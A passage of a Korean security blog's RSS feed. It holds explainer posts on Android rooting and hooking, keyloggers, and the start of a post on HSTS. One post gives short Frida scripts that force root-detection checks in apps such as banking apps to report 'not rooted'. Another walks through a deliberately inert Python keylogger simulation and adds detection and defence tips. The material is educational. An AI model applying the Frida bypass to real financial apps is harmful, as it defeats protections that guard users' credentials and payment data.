기기에서는&lt;br&gt;&lt;br&gt;악성 앱이 시스템 깊숙이 파고들 수 있고&lt;br&gt;&lt;br&gt;금융 앱의 데이터가 변조될 수 있으며&lt;br&gt;&lt;br&gt;비밀번호나 카드번호 같은 민감 정보가 쉽게 탈취됩니다.&lt;br&gt;&lt;br&gt;&lt;br&gt;그래서 은행 앱, 결제 앱, 일부 게임은&lt;br&gt;루팅된 기기에서 아예 실행 자체를 막아버립니다.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;3. Hooking이란?&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;자, 여기서 문제가 생깁니다.&lt;br&gt;루팅한 기기에서는 앱이 &quot;넌 루팅됐네? 실행 안 할래&quot;라고 말해 버리죠.&lt;br&gt;그런데 이 말을 못하게 할 방법이 있습니다.&lt;br&gt;그게 바로&lt;b&gt; 후킹(Hooking)&lt;/b&gt;입니다.&lt;br&gt;&lt;br&gt;후킹은 간단히 말해,&lt;br&gt;&quot;앱이 실행 중일 때, 특정 기능을 가로채서 다른 동작을 시키는 기술&quot;입니다.&lt;br&gt;&lt;br&gt;예를 들어, 게임의 ‘점프’ 함수를 몰래 바꿔서&lt;br&gt;두 배 높이 뛰게 만들 수 있죠.&lt;br&gt;이걸 보안 앱에 쓰면, 루팅 탐지 결과를 ‘아니오’로 바꾸는 것도 가능합니다.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;4. 실습을 위한 준비&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;이번 예시는 Nox 안드로이드 에뮬레이터에서 진행한다고 가정해 볼게요.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot; data-ke-size=&quot;size20&quot;&gt;Android&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;소프트웨어 정보 내 ‘빌드 번호’를 여러 번 눌러 개발자 옵션 켜기&lt;/li&gt;&lt;li&gt; USB 디버깅 활성화&lt;/li&gt;&lt;li&gt; PC와 같은 네트워크 연결&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;text-align: left;&quot; data-ke-size=&quot;size20&quot;&gt;pc&lt;/h4&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;&lt;li&gt;ADB 설치하고 환경 변수 등록&lt;/li&gt;&lt;li&gt; adb connect 127.0.0.1:62001로 연결&lt;/li&gt;&lt;li&gt; adb devices로 연결 상태 확인&lt;/li&gt;&lt;li&gt; pip install frida로 Frida 설치&lt;/li&gt;&lt;li&gt; Frida 서버 파일을 디바이스에 넣기&lt;/li&gt;&lt;/ol&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;5. 간단 예시 &lt;/h3&gt;&lt;h4 style=&quot;text-align: left;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;/h4&gt;&lt;h4 style=&quot;text-align: left;&quot; data-ke-size=&quot;size20&quot;&gt;su 디렉토리 탐지 우회&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;많은 앱은 /system/bin/su 같은 경로가 있는지 확인해서&lt;br&gt;루팅 여부를 판단합니다.&lt;br&gt;이 과정을 후킹으로 바꿔치기하면,&lt;br&gt;앱이 무조건 &lt;b&gt;“루팅 안 됨”&lt;/b&gt;이라고 믿게 만들 수 있죠.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;Java.perform(function() {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var root = Java.use('b.a.a.k.a'); // 루팅 체크 클래스
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root.isDeviceRooting.implementation = function() {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log(&quot;Rooting 탐지 우회 시도 중&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return false; // 항상 루팅 아님으로 반환
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
});&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;br&gt;이렇게 되면, 실제로는 루팅되어 있어도&lt;br&gt;앱은 아무것도 모른 채 정상 동작합니다.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot; data-ke-size=&quot;size20&quot;&gt;함수 이름을 모를 땐?&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;루팅 탐지 함수의 이름을 모른다면&lt;br&gt;리버스 엔지니어링 도구(JEB 등)를 써서 코드를 분석해야 합니다.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;Java.perform(function() {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var root = Java.use('[Class Name]');
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root.findRootingAppName.implementation = function(a, b) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log(&quot;루팅 앱 탐지 우회 중: &quot; + b);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return null; // 무조건 ‘없음’으로
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
});&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;6. 오늘의 마무리&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;오늘은 루팅과 후킹의 기본 개념,&lt;br&gt;그리고 아주 간단한 루팅 탐지 우회 예시를 살펴봤습니다.&lt;br&gt;&lt;br&gt;루팅 = 운영체제의 관리자 권한 획득&lt;br&gt;&lt;br&gt;후킹 = 실행 중 함수 동작을 바꾸는 기술&lt;br&gt;&lt;br&gt;간단한 스크립트만으로도 앱의 보안 로직을 속일 수 있음&lt;br&gt;&lt;br&gt;&lt;br&gt;다음 편에서는 실제 서비스 앱의 다양한 루팅 탐지 방법과&lt;br&gt;그에 맞는 고급 우회 기법, 그리고 방어 방법까지 알려드릴게요.&lt;/p&gt;</description>
      <category>What is</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/33</guid>
      <comments>https://brillian-ye.tistory.com/33#entry33comment</comments>
      <pubDate>Mon, 11 Aug 2025 16:18:21 +0900</pubDate>
    </item>
    <item>
      <title>what is Keylogging?</title>
      <link>https://brillian-ye.tistory.com/32</link>
      <description>&lt;blockquote data-end=&quot;259&quot; data-start=&quot;135&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;259&quot; data-start=&quot;137&quot; data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;키보드에 입력하는 모든 걸 몰래 기록하는 기술&amp;rdquo;이 있다면, 그게 바로 키로깅입니다.&lt;br /&gt;오늘은 이 키로깅이 어떻게 생겼고, 어떻게 움직이며, 어떻게 막을 수 있는지 이야기해 드릴게요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;283&quot; data-start=&quot;266&quot; data-ke-size=&quot;size23&quot;&gt;키로깅이 뭐냐면요&lt;/h3&gt;
&lt;p data-end=&quot;419&quot; data-start=&quot;284&quot; data-ke-size=&quot;size16&quot;&gt;자, 여러분이 키보드로 글자를 치고 있다고 상상해 보세요.&lt;br /&gt;&amp;lsquo;a&amp;rsquo;, &amp;lsquo;b&amp;rsquo;, &amp;lsquo;c&amp;rsquo;&amp;hellip; 그리고 스페이스바, 엔터 키, 심지어 백스페이스로 지운 것도 다 기록이 된다면 어떨까요?&lt;br /&gt;이걸 &lt;b&gt;키로깅(Keylogging)&lt;/b&gt;이라고 부릅니다.&lt;/p&gt;
&lt;p data-end=&quot;528&quot; data-start=&quot;421&quot; data-ke-size=&quot;size16&quot;&gt;원래는 키보드 테스트나 사용자 습관 분석 같은 합법적인 목적에도 쓰일 수 있습니다.&lt;br /&gt;하지만 악용되면 &lt;b&gt;비밀번호, 주민번호, 카드번호&lt;/b&gt; 같은 민감한 정보를 그대로 훔쳐갈 수 있죠.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;554&quot; data-start=&quot;535&quot; data-ke-size=&quot;size20&quot;&gt;종류는 두 가지입니다&lt;/h4&gt;
&lt;p data-end=&quot;593&quot; data-start=&quot;555&quot; data-ke-size=&quot;size16&quot;&gt;키로거(Keylogger)는 크게 &lt;b&gt;소프트웨어형&lt;/b&gt;과 &lt;b&gt;하드웨어형&lt;/b&gt;이 있어요.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;789&quot; data-start=&quot;595&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;675&quot; data-start=&quot;592&quot;&gt;&lt;b&gt;소프트웨어 키로거&lt;/b&gt;&lt;br /&gt;컴퓨터 안에서 프로그램처럼 돌아가며, 운영체제가 &amp;ldquo;이 키가 눌렸다&amp;rdquo;라고 알려주는 순간을 슬쩍 가로채서 기록합니다.&lt;/li&gt;
&lt;li data-end=&quot;794&quot; data-start=&quot;679&quot;&gt;&lt;b&gt;하드웨어 키로거&lt;/b&gt;&lt;br /&gt;키보드와 컴퓨터 사이 케이블에 작은 USB/PS2 인라인 장치를 끼워두면, 거기에 입력 내용이 저장됩니다.&lt;br /&gt;물리적인 장치라서 설치 흔적이 거의 없어 눈치채기 어렵죠.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 &lt;b&gt;소프트웨어 키로거&lt;/b&gt;에 초점을 맞춥니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;814&quot; data-start=&quot;796&quot; data-ke-size=&quot;size23&quot;&gt;어떻게 움직일까요?&lt;/h3&gt;
&lt;p data-end=&quot;837&quot; data-start=&quot;815&quot; data-ke-size=&quot;size16&quot;&gt;대부분의 키로거는 아래 순서를 밟습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1164&quot; data-start=&quot;839&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;896&quot; data-start=&quot;839&quot;&gt;&lt;b&gt;환경 준비&lt;/b&gt;&lt;br /&gt;&amp;ldquo;어디에 기록할까?&amp;rdquo; &amp;ldquo;어떤 내용을 기록할까?&amp;rdquo; 정하고 시작합니다.&lt;/li&gt;
&lt;li data-end=&quot;949&quot; data-start=&quot;897&quot;&gt;&lt;b&gt;키 입력 캡처&lt;/b&gt;&lt;br /&gt;키보드에서 눌린 글자, 특수키까지 하나하나 받아옵니다.&lt;/li&gt;
&lt;li data-end=&quot;1055&quot; data-start=&quot;1014&quot;&gt;&lt;b&gt;저장&lt;/b&gt;&lt;br /&gt;모은 내용을 파일이나 폴더에 기록해 둡니다.&lt;/li&gt;
&lt;li data-end=&quot;1113&quot; data-start=&quot;1056&quot;&gt;&lt;b&gt;외부 전송&lt;/b&gt;&lt;br /&gt;악성 키로거라면, 이 파일을 공격자의 서버로 보냅니다.&lt;/li&gt;
&lt;li data-end=&quot;1164&quot; data-start=&quot;1114&quot;&gt;&lt;b&gt;지속성 유지&lt;/b&gt;&lt;br /&gt;컴퓨터를 껐다 켜도 자동으로 다시 실행되도록 등록합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Python으로 키로깅 원리 체험하기&lt;/h3&gt;
&lt;p data-end=&quot;1259&quot; data-start=&quot;1148&quot; data-ke-size=&quot;size16&quot;&gt;아래 Python 예제는 실제 키보드 후킹이나 악성 행위를 전혀 하지 않고,&lt;br /&gt;단순히 &amp;lsquo;키로깅이 이런 흐름으로 동작할 수 있다&amp;rsquo;는 개념만 안전하게 체험할 수 있도록 만든 &lt;b&gt;시뮬레이터&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p data-end=&quot;1304&quot; data-start=&quot;1261&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;흐름&lt;/b&gt;&lt;br /&gt;준비 &amp;rarr; 입력 &amp;rarr; 묶기 &amp;rarr; 저장 &amp;rarr; 전송 요약 &amp;rarr; 지속성 등록&lt;/p&gt;
&lt;h4 data-end=&quot;175&quot; data-start=&quot;159&quot; data-ke-size=&quot;size20&quot;&gt;0) 전체 흐름&lt;/h4&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1754734582108&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def main():
    ctx = initialize_context()          # 기본 설정/상태 준비
    events = capture_input_events(ctx)  # (개념) 키 입력 이벤트 스트림 확보
    chunk = chunk(events)    # 묶기
    path = persist_locally(chunk, ctx)  # 로컬 임시 저장
    summary_outbound(ctx)               # (개념) 외부 전송 요약/점검
    register_persistence(ctx)           # (개념) 재부팅 후 지속 실행 등록 개념

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;608&quot; data-start=&quot;598&quot; data-ke-size=&quot;size20&quot;&gt;1) 초기화&lt;/h4&gt;
&lt;div&gt;
&lt;div&gt;&amp;ldquo;무엇을 모으고, 어디에 둘지&amp;rdquo;&lt;/div&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1754734611190&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def initialize_context():
    &quot;&quot;&quot;
    목적:
      - 이후 단계에서 사용할 공통 설정과 저장 위치를 만든다.
    설명:
      - buffer_limit: 몇 개의 키 입력 이벤트를 묶을지 정하는 값
      - log_dir: 입력 데이터를 저장할 임시 폴더 경로
      - outbound_enabled: 외부 전송을 실제로 할지 여부 (여기서는 False로 설정)
      - target_host, beacon_secs: '전송한다면'의 가상 대상/주기 정보
    &quot;&quot;&quot;
    temp_base = Path(tempfile.gettempdir()) / &quot;concept_keylog_demo&quot;
    temp_base.mkdir(parents=True, exist_ok=True)  # 임시 폴더 만들기
    return {
        &quot;buffer_limit&quot;: 50,
        &quot;log_dir&quot;: str(temp_base),
        &quot;outbound_enabled&quot;: False,
        &quot;target_host&quot;: &quot;example.org&quot;,
        &quot;beacon_secs&quot;: 60,
    }&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-end=&quot;1113&quot; data-start=&quot;1093&quot; data-ke-size=&quot;size20&quot;&gt;2) 입력 이벤트 캡처&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;키 입력이 이렇게 들어온다고 가정&amp;rdquo;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1754734653347&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def capture_input_events(context):
    &quot;&quot;&quot;
    목적:
      - 실제 키로거처럼 운영체제에서 키 입력을 잡아오는 대신,
        사용자가 콘솔에 입력한 내용을 키 이벤트 리스트로 변환
    반환:
      - [&quot;H&quot;, &quot;e&quot;, &quot;l&quot;, &quot;l&quot;, &quot;o&quot;, &quot;Space&quot;, &quot;1&quot;, ...] 형태의 리스트
    &quot;&quot;&quot;
    print(&quot;입력할 텍스트를 한 줄 써주세요. (엔터를 누르면 수집 종료)&quot;)
    line = sys.stdin.readline()
    if not line:
        return []
    line = line.rstrip(&quot;\n&quot;)  # 마지막 줄바꿈 제거
    events = []
    for ch in line:
        if ch == &quot; &quot;:
            events.append(&quot;Space&quot;)  # 공백은 'Space'로 기록
        elif ch == &quot;\t&quot;:
            events.append(&quot;Tab&quot;)    # 탭은 'Tab'으로 기록
        else:
            events.append(ch)       # 나머지는 그대로 기록
    events.append(&quot;Enter&quot;)          # 마지막에 엔터 표시 추가
    return events&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 data-end=&quot;1555&quot; data-start=&quot;1536&quot; data-ke-size=&quot;size20&quot;&gt;3) 청크(묶기)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;덩어리로 묶는다&amp;rdquo;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1754734665593&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def chunk_events(events):
    &quot;&quot;&quot;
    목적:
      - 개별 키 이벤트를 하나의 문자열로 합친다.
      - 예: [&quot;H&quot;, &quot;i&quot;, &quot;Space&quot;, &quot;T&quot;, &quot;e&quot;, &quot;s&quot;, &quot;t&quot;, &quot;Enter&quot;]
        &amp;rarr; &quot;H i Space T e s t Enter&quot;
    &quot;&quot;&quot;
    return &quot; &quot;.join(events)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 data-end=&quot;2058&quot; data-start=&quot;2039&quot; data-ke-size=&quot;size20&quot;&gt;4) 로컬 임시 저장&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;임시로 파일에 둔다고 치면 이런 경로가 된다&amp;rdquo;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;pre id=&quot;code_1754734711742&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def persist_locally(chunk, context):
    &quot;&quot;&quot;
    목적:
      - 만든 청크를 임시 폴더에 로그 파일로 저장
      - 저장된 경로를 반환
    &quot;&quot;&quot;
    ts = datetime.now().strftime(&quot;%Y%m%d_%H%M%S&quot;)  # 현재 시각으로 파일명 만들기
    path = Path(context[&quot;log_dir&quot;]) / f&quot;chunk_{ts}.log&quot;
    path.write_text(chunk, encoding=&quot;utf-8&quot;)       # 내용 저장
    return str(path)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-end=&quot;2425&quot; data-start=&quot;2406&quot; data-ke-size=&quot;size20&quot;&gt;5) 외부 전송 요약&lt;/h4&gt;
&lt;div&gt;
&lt;div&gt;&amp;ldquo;외부로 보낸다면 이런 방법이 필요하다&amp;rdquo;&lt;/div&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1754734729531&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def summary_outbound(context):
    &quot;&quot;&quot;
    목적:
      - 외부 서버로 보낼 때 어떤 설정이 필요한지 '요약'만 출력
      - 실제 전송은 하지 않는다.
    &quot;&quot;&quot;
    size = len(chunk.encode(&quot;utf-8&quot;))
    print(f&quot;[요약] outbound 준비: 대상={context['target_host']}, 주기={context['beacon_secs']}s, 크기&amp;asymp;{size}B (전송 안 함)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-end=&quot;2736&quot; data-start=&quot;2719&quot; data-ke-size=&quot;size20&quot;&gt;6) 지속성 등록(개념)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;다음 부팅에도 돌아가게 등록할 수 있다&amp;rdquo;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1754734742457&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def register_persistence(context):
    &quot;&quot;&quot;
    목적:
      - '다음 부팅 시 자동 실행' 개념을 설명하기 위한 메모 파일 작성
      - 실제로 OS 설정을 바꾸진 않는다.
    &quot;&quot;&quot;
    note = Path(context[&quot;log_dir&quot;]) / &quot;persistence_simulated.txt&quot;
    note.write_text(
        &quot;이 파일은 '지속성' 개념을 설명하기 위한 메모입니다.\n&quot;
        &quot;실제 자동 실행 등록은 수행하지 않았습니다.\n&quot;
        f&quot;기록 시각: {datetime.now().isoformat()}\n&quot;,
        encoding=&quot;utf-8&quot;,
    )
    return str(note)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;1202&quot; data-start=&quot;1171&quot; data-ke-size=&quot;size20&quot;&gt;폼 그래빙(Form Grabbing)과의 차이&lt;/h4&gt;
&lt;p data-end=&quot;1229&quot; data-start=&quot;1203&quot; data-ke-size=&quot;size16&quot;&gt;가끔 키로깅과 폼 그래빙을 헷갈리는데요,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1344&quot; data-start=&quot;1230&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1257&quot; data-start=&quot;1230&quot;&gt;키로깅은 &lt;b&gt;&amp;ldquo;키를 누른 순간&amp;rdquo;&lt;/b&gt;을 기록&lt;/li&gt;
&lt;li data-end=&quot;1344&quot; data-start=&quot;1258&quot;&gt;폼그랩은 &lt;b&gt;&amp;ldquo;입력칸 내용을 전송하기 직전&amp;rdquo;,&lt;/b&gt; 브라우저 메모리에서 입력칸 내용을 낚아채는 방식입니다.&lt;br /&gt;두 기술이 함께 쓰이면, 입력 과정과 완성된 내용을 모두 훔칠 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;1369&quot; data-start=&quot;1351&quot; data-ke-size=&quot;size20&quot;&gt;진짜 사례를 보면&amp;hellip;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1539&quot; data-start=&quot;1370&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1431&quot; data-start=&quot;1370&quot;&gt;&lt;b&gt;FormBook / XLoader&lt;/b&gt;: 이메일 첨부파일로 퍼져서 키 입력과 폼 데이터를 훔쳤습니다.&lt;/li&gt;
&lt;li data-end=&quot;1485&quot; data-start=&quot;1432&quot;&gt;&lt;b&gt;Agent Tesla&lt;/b&gt;: 키로깅은 물론, 브라우저와 메일 비밀번호까지 탈취했습니다.&lt;/li&gt;
&lt;li data-end=&quot;1539&quot; data-start=&quot;1486&quot;&gt;&lt;b&gt;Hawkeye Keylogger&lt;/b&gt;: 키와 마우스 클릭을 기록하고 이메일로 전송했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1589&quot; data-start=&quot;1541&quot; data-ke-size=&quot;size16&quot;&gt;공통점은 &lt;b&gt;입력 &amp;rarr; 저장 &amp;rarr; 전송 &amp;rarr; 자동 실행 등록&lt;/b&gt;으로 오래 숨어있다는 겁니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1614&quot; data-start=&quot;1596&quot; data-ke-size=&quot;size23&quot;&gt;어떻게 눈치챌까요?&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1792&quot; data-start=&quot;1615&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1659&quot; data-start=&quot;1615&quot;&gt;컴퓨터 켤 때 &lt;b&gt;자동 실행&lt;/b&gt;되는 목록에 모르는 프로그램이 있다면 의심&lt;/li&gt;
&lt;li data-end=&quot;1700&quot; data-start=&quot;1660&quot;&gt;작업 관리자에서 &lt;b&gt;이상한 프로세스&lt;/b&gt;가 계속 실행 중이라면 주목&lt;/li&gt;
&lt;li data-end=&quot;1746&quot; data-start=&quot;1701&quot;&gt;알 수 없는 프로그램이 &lt;b&gt;특정 서버와 주기적으로 통신&lt;/b&gt;하고 있다면 경계&lt;/li&gt;
&lt;li data-end=&quot;1792&quot; data-start=&quot;1747&quot;&gt;폴더 안에서 &lt;b&gt;이상한 로그 파일&lt;/b&gt;이 주기적으로 생겼다 사라진다면 확인 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1824&quot; data-start=&quot;1799&quot; data-ke-size=&quot;size23&quot;&gt;막는 방법은 의외로 기본적입니다&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1941&quot; data-start=&quot;1825&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1857&quot; data-start=&quot;1825&quot;&gt;&lt;b&gt;운영체제와 프로그램 업데이트&lt;/b&gt;를 항상 최신으로&lt;/li&gt;
&lt;li data-end=&quot;1888&quot; data-start=&quot;1858&quot;&gt;출처 불명의 파일, 특히 메일 첨부는 열지 않기&lt;/li&gt;
&lt;li data-end=&quot;1913&quot; data-start=&quot;1889&quot;&gt;&lt;b&gt;백신과 실시간 보호&lt;/b&gt;를 켜 두기&lt;/li&gt;
&lt;li data-end=&quot;1941&quot; data-start=&quot;1914&quot;&gt;중요한 계정에는 &lt;b&gt;2단계 인증&lt;/b&gt;을 걸어두기&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>What is</category>
      <category>keylogger #keylogging #키로거 #키로깅</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/32</guid>
      <comments>https://brillian-ye.tistory.com/32#entry32comment</comments>
      <pubDate>Sat, 9 Aug 2025 19:45:56 +0900</pubDate>
    </item>
    <item>
      <title>what is HSTS(HTTP Strict Transport Security)?</title>
      <link>https://brillian-ye.tistory.com/31</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 &lt;b&gt;HSTS&lt;/b&gt;, 정식 명칭으로는 HTTP Strict Transport Security에 대해 이야기해보겠습니다.&lt;br /&gt;제가 Burp Suite로 테스트를 하다가 데이터를 가로채지 못하는 상황이 있었어요.&lt;br /&gt;이유를 찾아보니, 바로 이 HSTS라는 기능이 적용되어 있었던 거죠.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;413&quot; data-start=&quot;393&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;HSTS란 무엇일까요?&lt;/b&gt;&lt;/h3&gt;
